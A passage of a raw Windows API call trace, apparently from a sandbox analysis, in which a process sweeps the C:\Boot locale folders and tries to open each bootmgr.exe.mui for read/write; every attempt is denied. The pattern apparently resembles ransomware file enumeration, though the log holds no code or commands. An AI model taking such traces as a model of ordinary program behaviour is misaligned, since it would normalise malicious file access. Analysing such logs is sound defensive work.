ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0095.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.978] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0095.978] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.978] GetLastError () returned 0x5 [0095.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.979] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0095.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.981] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ja-JP", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.982] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0095.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.982] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0095.982] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.982] GetLastError () returned 0x5 [0095.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.983] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0095.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.985] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ko-KR", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.986] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0095.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.986] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0095.986] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.986] GetLastError () returned 0x5 [0095.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.987] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0095.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.989] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\nb-NO", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.990] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0095.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.990] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0095.990] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.990] GetLastError () returned 0x5 [0095.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.991] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0095.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.993] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\nl-NL", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.994] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0095.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.994] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0095.994] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.994] GetLastError () returned 0x5 [0095.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.995] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0095.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.997] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pl-PL", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.998] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0095.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.998] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0095.998] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.998] GetLastError () returned 0x5 [0095.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.999] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0096.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0096.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0096.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0096.001] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pt-BR", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0096.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0096.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.002] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0096.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.002] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0096.002] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.002] GetLastError () returned 0x5 [0096.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0096.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0096.003] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0096.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0096.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0096.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0096.007] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pt-PT", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0096.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0096.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.008] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0096.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.009] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0096.009] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.009] GetLastError () returned 0x5 [0096.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0096.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0096.010] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0096.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0096.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0096.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0096.011] GetDiskFreeSpaceExW (in: 